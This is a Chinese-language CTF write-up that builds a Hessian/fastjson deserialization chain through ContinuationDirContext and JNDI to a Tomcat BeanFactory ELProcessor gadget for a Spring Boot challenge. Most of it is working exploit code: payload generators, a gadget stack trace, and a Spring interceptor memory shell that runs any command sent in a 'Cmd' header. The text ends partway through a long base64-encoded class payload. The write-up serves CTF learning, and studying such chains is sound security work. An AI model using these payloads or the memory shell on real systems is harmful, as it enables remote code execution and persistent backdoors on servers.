从NEEPUCTF润来的
首先看一下server.jar这个包
fastjson 2.0.24
snakeyaml 1.29
看见了一个黑名单,过滤了蛮多东西的
IndexController.class
public class IndexController {
public static List<String> denyClasses = new ArrayList();
public static long lastTimestamp = 0;
@GetMapping({"/status"})
public Result status() {
String msg;
try {
long currentTimestamp = System.currentTimeMillis();
msg = String.format("client %s is online", InetAddress.getLocalHost().getHostName());
if (currentTimestamp - lastTimestamp > AbstractComponentTracker.LINGERING_TIMEOUT) {
update();//从这里调用update,间隔10秒
lastTimestamp = System.currentTimeMillis();
}
} catch (Exception e) {
msg = "client is online";
}
return Result.of("200", msg);
}
public void update() {
try { //会获得注册中心 /blacklist/jdk/get路由
Object msg = ((Result) JSON.parseObject(Request.get("http://registry:8080/blacklist/jdk/get"), (Class<Object>) Result.class)).getMessage();
//这里不太懂什么意思,JSON解析后面这个像是黑名单而又不是
if (msg instanceof String) {
denyClasses = (List) DefaultSerializer.deserialize(Base64.getDecoder().decode((String) msg), denyClasses);
//这里面进行了反序列化msg,但是经历了黑名单,msg又是通过上面json解析获得,所以后面那个路径肯定有问题???
} else if (msg instanceof List) {
denyClasses = (List) msg;
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
register.jar
springboot 2.6.7
hessian 4.0.4
fastjson 2.0.24
可以发现版本都是比较高的,并且也给出了二个黑名单
MainController
服务端有一个 @GetMapping({“/status”} 路由,
public class MainController {
@GetMapping({"/"})
@Operation(description = "hello for all")
public String hello() {
return "hello";
}
@GetMapping({"/client/status"})
@Operation(description = "registry will request client '/status' to get client status.")
public Result clientStatus() {
try { //这里会转到服务器的/status路径
return (Result) JSON.parseObject(Request.get("http://server:8080/status"), (Class<Object>) Result.class);
} catch (Exception e) {
return Result.of("500", "client is down");
}
}
@GetMapping({"/blacklist/hessian/get"})
@Operation(description = "get serialized blacklist for registry")
public Result getHessianBlacklist() { //这里会对hessian进行序列化
String data;
try {
data = DefaultSerializer.serialize(Blacklist.hessianBlackList);
} catch (Exception e) {
data = e.getMessage();
}
return Result.of("200", data);
}
@PostMapping({"/hessian/deserialize"})
@Operation(description = "deserialize base64Str using hessian")
//这里的传参可控,但最终也会进行一个hessian黑名单的过滤器
public Result deserialize(String base64Str) {
String data;
String code = "200";
try {
HessianSerializer.deserialize(Base64.getDecoder().decode(base64Str));
data = "deserialize success";
} catch (Exception e) {
data = "error: " + e.getMessage();
code = "500";
}
return Result.of(code, data);
}
}
这道题给我的感觉不像是普通java题目的一个淳朴的绕过黑名单即可,更像是通过某种方式把黑名单搞没。
没办法,根本绕补过去。。。。
重新寻找一个getter———-JNDI#lookup的链子,绕过黑名单
match path=(m1:Method)-[:CALL*..10]->(m2:Method {IS_SINK:true}) where m1.NAME =~ "get.*" and m1.PARAMETER_SIZE=0 and m2.VUL="JNDI" and m2.NAME="lookup"
return path
ContinuationDirContext
师傅们找到了这个方法
javax.util.spi.ContinuationDirContext,注意这个类是私有的只能在本包中被调用
match path=(m1:Method)-[:CALL*..10]->(m2:Method {IS_SINK:true}) where m1.CLASSNAME =~"javax.naming.spi.*" and m2.VUL="JNDI" and m2.NAME="lookup"
return path
首先在getEnvironment方法中,调用了getTargetContext方法
跟进getTargetContext方法,发现调用了javax.naming.spi.NamingManager#getcontext
方法
并且会调用它的getObjectInstance
方法
这里需要让refInfo时 Reference的实现类,下面才能满足条件!=null然后进行getObjectFactoryFromReference
方法
跟进,它会先调用helper.loadClass(String factoryName)
尝试加载本地的工厂类,出错或找不到指定的工厂类后,再调用helper.loadClass(String className, String codebase)
尝试加载远程的工厂类
javax.naming.spi.NamingManager
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;
// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.
// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}
没打通卡在了最后的EL表达式那里,其实发现后面类加载啥的和高版本jndi基本一样所以趁机来温习一下
先调试到BeanFactory的链子
首先obj拼接字符会触发对应的tostring方法,这个前面就遇到过了
package com.example.registry.data;
import com.alibaba.fastjson.JSONObject;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import org.apache.naming.ResourceRef;
import org.apache.naming.factory.BeanFactory;
import javax.naming.CannotProceedException;
import javax.naming.StringRefAddr;
import javax.naming.directory.DirContext;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Hashtable;
public class payload {
public static void main(String[] args) throws Exception {
//ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
// resourceRef.add(new StringRefAddr("forceString", "a=eval"));
// resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\"calc\")"));
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
//这里就是对ResourceRef对象进行一个赋值,并且factorylocation为null
resourceRef.add(new StringRefAddr("forceString", "x=eval"));
resourceRef.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext");
Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
ccCons.setAccessible(true);
CannotProceedException cpe = new CannotProceedException();
setFieldValue(cpe, "cause", null);
setFieldValue(cpe, "stackTrace", null);
cpe.setResolvedObj(resourceRef);
setFieldValue(cpe, "suppressedExceptions", null);
DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());
JSONObject jo = new JSONObject();
jo.put("test", ctx);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
baos.write(67);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(jo);
out.flushBuffer();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
input.readObject();
}
public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if ( field != null )
field.setAccessible(true);
else if ( clazz.getSuperclass() != null )
field = getField(clazz.getSuperclass(), fieldName);
return field;
}
catch ( NoSuchFieldException e ) {
if ( !clazz.getSuperclass().equals(Object.class) ) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}
}
为什么需要jdk高版本注入
因为JDK在RMI和LDAP的trustURLCodebase做了限制,从默认允许远程加载ObjectFactory变成了不允许。RMI是在6u132, 7u122, 8u113版本开始做了限制,LDAP是 11.0.1, 8u191, 7u201, 6u211版本开始做了限制。
所以修复后的JDK版本无法在不修改trustURLCodebase的情况下通过远程加载ObjectFactory类的方式去执行Java代码。
BeanFactory绕过原理
EL和Groovy之所以能打是因为LDAP和RMI在收到服务端反序列化来的Reference对象后根据classFactory属性从本地classpath中实例化一个 ObjectFactory 对象,然后调用这个对象的 getObjectInstance 方法。
在Tomcat的catalina.jar中有一个org.apache.naming.factory.BeanFactory类,这个类会把Reference对象的className属性作为类名去调用无参构造方法实例化一个对象。然后再从Reference对象的Addrs参数集合中取得 AddrType 是 forceString 的 String 参数。
接着根据取到的 forceString 参数按照,逗号分割成多个要执行的方法。再按=等于号分割成 propName 和 param。
最后会根据 propName 作为方法名称去反射获取一个参数类型是 String.class的方法,并按照 param 从 Addrs 中取到的 String 对象作为参数去反射调用该方法。
而刚好javax.el.ELProcessor#eval和 groovy.lang.GroovyShell#evaluate这两个方法都是可以只传一个String参数就能够执行攻击代码,且依赖库比较常见所以被经常使用。
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/bash','-c','/Applications/Calculator.app/Contents/MacOS/Calculator']).start()\")"));
return ref
依照上面的原理解释,这段代码得到的ResourceRef对象在JNDI客户端处理时,实际上等价于下面这段代码。
new javax.el.ELProcessor().eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/bash','-c','/Applications/Calculator.app/Contents/MacOS/Calculator']).start()\")")
参考文章:https://tttang.com/archive/1405/#toc_druid
eval:54, ELProcessor (javax.el)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
getObjectInstance:211, BeanFactory (org.apache.naming.factory)
getObjectInstance:321, NamingManager (javax.naming.spi)
getContext:439, NamingManager (javax.naming.spi)
getTargetContext:55, ContinuationContext (javax.naming.spi)
getEnvironment:197, ContinuationContext (javax.naming.spi)
apply:-1, 1541049864 (javax.naming.spi.ContinuationDirContext$$Lambda$25)
getFieldValue:36, FieldWriterObjectFunc (com.alibaba.fastjson2.writer)
write:189, FieldWriterObject (com.alibaba.fastjson2.writer)
write:76, ObjectWriter2 (com.alibaba.fastjson2.writer)
write:548, ObjectWriterImplMap (com.alibaba.fastjson2.writer)
toJSONString:2388, JSON (com.alibaba.fastjson2)
toString:1028, JSONObject (com.alibaba.fastjson)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
expect:3757, Hessian2Input (com.caucho.hessian.io)
readString:1979, Hessian2Input (com.caucho.hessian.io)
readObjectDefinition:2960, Hessian2Input (com.caucho.hessian.io)
readObject:2893, Hessian2Input (com.caucho.hessian.io)
最后的疑问
看wp说直接打内存吗,但是这不是Templates的内存马嘛,哪能直接打内存吗?
这道题大概的逻辑就是通过上传了一个内存吗,然后重置黑名单
然后后面加载一个高版本jndi注入,Reference注入
打poc流程
1、首先在客户端通过/hessian/deserialize路由打一个 jdni高版本reference注入,然后打一个内存吗,用来去清空黑名单
2、访问 @GetMapping({"/status"}) 服务器的这个,然后就会跳转到客户端进行读取黑名单,这时候我们的内存马已经置空黑名单了,所有就可以直接打 templates内存吗注入了
打二个内存吗主要是因为服务器、客户端时二个容器,并且服务端时真正的flag,客户端是可以直接打hessian链子的,但是客户端的没啥用
接下来就是实践部分
hessian2打jndi高版本 reference注入的链子
package com.example.MemShell;
import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.xml.internal.ws.developer.Serialization;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.naming.ResourceRef;
import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.StringRefAddr;
import javax.naming.directory.DirContext;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Base64;
import java.util.Hashtable;
public class CVE_2021_43297_ForEzjava {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(SpringInterceptorEcho.class.getName());
clazz.setName("Evil");
String clazz_base64 = Base64.getEncoder().encodeToString(clazz.toBytecode());
String code = "var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('" + clazz_base64 + "');\n" +
"var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" +
"var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" +
"method.setAccessible(true);\n" +
"var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" +
"clazz.newInstance();";
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
resourceRef.add(new StringRefAddr("forceString", "x=eval"));
resourceRef.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"" + code + "\")"));
// ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
//这里就是对ResourceRef对象进行一个赋值,并且factorylocation为null
// resourceRef.add(new StringRefAddr("forceString", "x=eval"));
//resourceRef.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext");
Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
ccCons.setAccessible(true);
CannotProceedException cpe = new CannotProceedException();
setFieldValue(cpe, "cause", null);
setFieldValue(cpe, "stackTrace", null);
cpe.setResolvedObj(resourceRef);
setFieldValue(cpe, "suppressedExceptions", null);
DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());
JSONObject jo = new JSONObject();
jo.put("test", ctx);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
baos.write(67);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(jo);
out.flushBuffer();
String a=Base64.getEncoder().encodeToString(baos.toByteArray());
System.out.println(a);
// ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
// Hessian2Input input = new Hessian2Input(bais);
// input.readObject();
}
public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if ( field != null )
field.setAccessible(true);
else if ( clazz.getSuperclass() != null )
field = getField(clazz.getSuperclass(), fieldName);
return field;
}
catch ( NoSuchFieldException e ) {
if ( !clazz.getSuperclass().equals(Object.class) ) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}}
SpringInterceptorEcho内存马
package com.example.MemShell;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.context.support.WebApplicationContextUtils;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.reflect.Field;
import java.util.List;
public class SpringInterceptorEcho extends AbstractTranslet implements HandlerInterceptor {
public SpringInterceptorEcho() throws Exception {
// 获取 WebApplicationContext
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest().getServletContext());
// 获取 RequestMappingHandlerMapping
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 注册 Interceptor
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
List<HandlerInterceptor> adaptedInterceptors = (List<HandlerInterceptor>) field.get(requestMappingHandlerMapping);
adaptedInterceptors.add(new SpringInterceptorEcho(1));
// 匹配特定路径的 Interceptor
// MappedInterceptor mappedInterceptor = new MappedInterceptor(new String[]{"/demo"}, null, new SpringInterceptor(1));
}
public SpringInterceptorEcho(int n) {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getHeader("Cmd");
response.setStatus(200);
response.setHeader("Content-Type", "text/html");
if (cmd != null) {
OutputStream output = response.getOutputStream();
Process process = Runtime.getRuntime().exec(cmd);
InputStream input = process.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
int n;
byte[] buffer = new byte[1024];
while ((n = input.read(buffer)) != -1) {
baos.write(buffer);
}
baos.write("\n".getBytes());
input.close();
output.write(baos.toByteArray());
output.flush();
}
return true;
}
}
试试用普通的spring马打一下没通,又打了一下哥斯拉马也没通???不理解了哦
先尝试把题目打通,不得不说boo👨的这个马真tm好用直接访问二次就会出现flag,真神了
public class HessianChain {
public static void main(String[] args) throws Exception {
String x = "var str='yv66vgAAADQA8goANQB6CQB7AHwJADEAfQoAfgB/CgCAAIEIAIIKAIAAgwoAhACFBwCGCgAJAIcIAIgKAAkAiQoACQCKCgAJAIsIAIwLAI0AjgoAfgCPCACQCACRCACSCgCTAJQKAAkAlQgAlggAlwsAmACZCwCYAJoKAJsAnAoAmwCdCgCbAJ4LADYAnwsANgCgCAChCgCiAKMIAKQLAKUApgcApwcAqAsAJACpBwCqCACrCgCsAK0HAK4KACoArwoAsACxCgCwALIHALMHALQKAC8ArwcAtQoAMQB6CwAuALYIALcHALgHALkBAARudW1zAQABSQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAXTG9yZy9leGFtcGxlL01lbXNoZWxsMTsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQAEY29kZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABnJlc3VsdAEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdoYW5kbGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQACaW4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAAFzAQATTGphdmEvdXRpbC9TY2FubmVyOwEABm91dHB1dAEADVN0YWNrTWFwVGFibGUHALoHAIYHALsHALUHALwHAL0HALgBAApFeGNlcHRpb25zBwC+AQAQTWV0aG9kUGFyYW1ldGVycwEACnBvc3RIYW5kbGUBAJIoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0O0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L01vZGVsQW5kVmlldzspVgEADG1vZGVsQW5kVmlldwEALkxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L01vZGVsQW5kVmlldzsBAA9hZnRlckNvbXBsZXRpb24BAHkoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvRXhjZXB0aW9uOylWAQACZXgBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAg8Y2xpbml0PgEAAWUBACBMamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBAAdjb250ZXh0AQA3TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0OwEAFW1hcHBpbmdIYW5kbGVyTWFwcGluZwEAVExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nOwEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAEWFkYXB0SW50ZXJjZXB0b3JzAQAQTGphdmEvdXRpbC9MaXN0OwEAD2V2aWxJbnRlcmNlcHRvcgEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBAEZMamF2YS91dGlsL0xpc3Q8TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvSGFuZGxlckludGVyY2VwdG9yOz47BwCnBwCoBwC/BwCuBwCzBwC0AQAKU291cmNlRmlsZQEADk1lbXNoZWxsMS5qYXZhDAA5ADoHAMAMAMEAwgwANwA4BwDDDADEAMUHAMYMAMcAyAEACWNhdCAvZmxhZwwAyQDKBwDLDADMAM0BABFqYXZhL3V0aWwvU2Nhbm5lcgwAOQDOAQACXEEMAM8A0AwA0QDSDADTANQBAAAHALwMANUA1AwAxADWASl7eyJjb2RlIjoiMjAwIiwibWVzc2FnZSI6InJPMEFCWE55QUM1cVlYWmhlQzV0WVc1aFoyVnRaVzUwTGtKaFpFRjBkSEpwWW5WMFpWWmhiSFZsUlhod1JYaGpaWEIwYVc5dTFPZmFxMk10UmtBQ0FBRk1BQU4yWVd4MEFCSk1hbUYyWVM5c1lXNW5MMDlpYW1WamREdDRjZ0FUYW1GMllTNXNZVzVuTGtWNFkyVndkR2x2YnREOUh6NGFPeHpFQWdBQWVISUFFMnBoZG1FdWJHRnVaeTVVYUhKdmQyRmliR1hWeGpVbk9YZTR5d01BQkV3QUJXTmhkWE5sZEFBVlRHcGhkbUV2YkdGdVp5OVVhSEp2ZDJGaWJHVTdUQUFOWkdWMFlXbHNUV1Z6YzJGblpYUUFFa3hxWVhaaEwyeGhibWN2VTNSeWFXNW5PMXNBQ25OMFlXTnJWSEpoWTJWMEFCNWJUR3BoZG1FdmJHRnVaeTlUZEdGamExUnlZV05sUld4bGJXVnVkRHRNQUJSemRYQndjbVZ6YzJWa1JYaGpaWEIwYVc5dWMzUUFFRXhxWVhaaEwzVjBhV3d2VEdsemREdDRjSEVBZmdBSWNIVnlBQjViVEdwaGRtRXViR0Z1Wnk1VGRHRmphMVJ5WVdObFJXeGxiV1Z1ZERzQ1JpbzhQUDBpT1FJQUFIaHdBQUFBQVhOeUFCdHFZWFpoTG14aGJtY3VVM1JoWTJ0VWNtRmpaVVZzWlcxbGJuUmhDY1dhSmpiZGhRSUFCRWtBQ214cGJtVk9kVzFpWlhKTUFBNWtaV05zWVhKcGJtZERiR0Z6YzNFQWZnQUZUQUFJWm1sc1pVNWhiV1Z4QUg0QUJVd0FDbTFsZEdodlpFNWhiV1Z4QUg0QUJYaHdBQUFBSDNRQUhtOXlaeTVsZUdGdGNHeGxMa3B6YjI1VVpXMXdiR0YwWlhORGFHRnBiblFBRjBwemIyNVVaVzF3YkdGMFpYTkRhR0ZwYmk1cVlYWmhkQUFFYldGcGJuTnlBQ1pxWVhaaExuVjBhV3d1UTI5c2JHVmpkR2x2Ym5Na1ZXNXRiMlJwWm1saFlteGxUR2x6ZFB3UEpURzE3STRRQWdBQlRBQUViR2x6ZEhFQWZnQUhlSElBTEdwaGRtRXVkWFJwYkM1RGIyeHNaV04wYVc5dWN5UlZibTF2WkdsbWFXRmliR1ZEYjJ4c1pXTjBhVzl1R1VJQWdNdGU5eDRDQUFGTUFBRmpkQUFXVEdwaGRtRXZkWFJwYkM5RGIyeHNaV04wYVc5dU8zaHdjM0lBRTJwaGRtRXVkWFJwYkM1QmNuSmhlVXhwYzNSNGdkSWRtY2RoblFNQUFVa0FCSE5wZW1WNGNBQUFBQUIzQkFBQUFBQjRjUUIrQUJWNGMzSUFIMk52YlM1aGJHbGlZV0poTG1aaGMzUnFjMjl1TGtwVFQwNVBZbXBsWTNRQUFBQUFBQUFBQVFJQUFVd0FBMjFoY0hRQUQweHFZWFpoTDNWMGFXd3ZUV0Z3TzNod2MzSUFFV3BoZG1FdWRYUnBiQzVJWVhOb1RXRndCUWZhd2NNV1lORURBQUpHQUFwc2IyRmtSbUZqZEc5eVNRQUpkR2h5WlhOb2IyeGtlSEEvUUFBQUFBQUFESGNJQUFBQUVBQUFBQUYwQUFFeGMzSUFPbU52YlM1emRXNHViM0puTG1Gd1lXTm9aUzU0WVd4aGJpNXBiblJsY201aGJDNTRjMngwWXk1MGNtRjRMbFJsYlhCc1lYUmxjMGx0Y0d3SlYwL0JicXlyTXdNQUJra0FEVjlwYm1SbGJuUk9kVzFpWlhKSkFBNWZkSEpoYm5Oc1pYUkpibVJsZUZzQUNsOWllWFJsWTI5a1pYTjBBQU5iVzBKYkFBWmZZMnhoYzNOMEFCSmJUR3BoZG1FdmJHRnVaeTlEYkdGemN6dE1BQVZmYm1GdFpYRUFmZ0FGVEFBUlgyOTFkSEIxZEZCeWIzQmxjblJwWlhOMEFCWk1hbUYyWVM5MWRHbHNMMUJ5YjNCbGNuUnBaWE03ZUhBQUFBQUEvLy8vLzNWeUFBTmJXMEpML1JrVloyZmJOd0lBQUhod0FBQUFBWFZ5QUFKYlFxenpGL2dHQ0ZUZ0FnQUFlSEFBQUJwSHl2NjZ2Z0FBQURRQk1Rb0FQd0NYQ0FDWUNBQ1pDZ0NhQUpzS0FKb0FuQW9BblFDZUNnQ2ZBS0FJQUtFS0FKOEFvZ29Bb3dDa0J3Q2xDZ0FMQUtZSUFLY0tBQXNBcUFvQUN3Q3BDZ0FMQUtvSkFLc0FyQW9BclFDdUJ3Q3ZDZ0FUQUpjSUFMQUtBQk1Bc1FvQXNnQ3pDZ0MwQUxVS0FMWUF0d2dBdUFvQUV3QzVDd0M2QUxzSUFMd0tBTFFBdlFvQUN3QytDQUMvQ0FEQUN3REJBTUlMQU1FQXd3b0F4QURGQ2dERUFNWUtBTVFBeHdrQU93RElDd0JBQU1rTEFFQUF5Z2dBeXdvQXpBRE5DQURPQ3dEUEFOQUhBTkVIQU5JTEFDNEEwd2NBMUFnQTFRb0ExZ0RYQndEWUNnQTBBTmtLQU5vQTJ3b0EyZ0RjQndEZEJ3RGVDZ0E1QU5rSEFOOEtBRHNBbHdzQU9BRGdDQURoQndEaUJ3RGpBUUFFYm5WdGN3RUFBVWtCQUFZOGFXNXBkRDRCQUFNb0tWWUJBQVJEYjJSbEFRQVBUR2x1WlU1MWJXSmxjbFJoWW14bEFRQVNURzlqWVd4V1lYSnBZV0pzWlZSaFlteGxBUUFFZEdocGN3RUFGMHh2Y21jdlpYaGhiWEJzWlM5TlpXMXphR1ZzYkRJN0FRQU1jbVZ3YkdGalpVSnNZVzVyQVFBbUtFeHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk95bE1hbUYyWVM5c1lXNW5MMU4wY21sdVp6c0JBQUZ3QVFBWlRHcGhkbUV2ZFhScGJDOXlaV2RsZUM5UVlYUjBaWEp1T3dFQUFXMEJBQmxNYW1GMllTOTFkR2xzTDNKbFoyVjRMMDFoZEdOb1pYSTdBUUFEYzNSeUFRQVNUR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdBUUFFWkdWemRBRUFEVk4wWVdOclRXRndWR0ZpYkdVSEFPUUJBQkJOWlhSb2IyUlFZWEpoYldWMFpYSnpBUUFKY0hKbFNHRnVaR3hsQVFCa0tFeHFZWFpoZUM5elpYSjJiR1YwTDJoMGRIQXZTSFIwY0ZObGNuWnNaWFJTWlhGMVpYTjBPMHhxWVhaaGVDOXpaWEoyYkdWMEwyaDBkSEF2U0hSMGNGTmxjblpzWlhSU1pYTndiMjV6WlR0TWFtRjJZUzlzWVc1bkwwOWlhbVZqZERzcFdnRUFCbkpsYzNWc2RBRUFCM0psY1hWbGMzUUJBQ2RNYW1GMllYZ3ZjMlZ5ZG14bGRDOW9kSFJ3TDBoMGRIQlRaWEoyYkdWMFVtVnhkV1Z6ZERzQkFBaHlaWE53YjI1elpRRUFLRXhxWVhaaGVDOXpaWEoyYkdWMEwyaDBkSEF2U0hSMGNGTmxjblpzWlhSU1pYTndiMjV6WlRzQkFBZG9ZVzVrYkdWeUFRQVNUR3BoZG1FdmJHRnVaeTlQWW1wbFkzUTdBUUFFWTI5a1pRRUFBbWx1QVFBVlRHcGhkbUV2YVc4dlNXNXdkWFJUZEhKbFlXMDdBUUFCY3dFQUUweHFZWFpoTDNWMGFXd3ZVMk5oYm01bGNqc0JBQVp2ZFhSd2RYUUhBT1VIQUtVSEFOOEhBT1lIQU9jSEFPZ0JBQXBGZUdObGNIUnBiMjV6QndEcEFRQUtjRzl6ZEVoaGJtUnNaUUVBa2loTWFtRjJZWGd2YzJWeWRteGxkQzlvZEhSd0wwaDBkSEJUWlhKMmJHVjBVbVZ4ZFdWemREdE1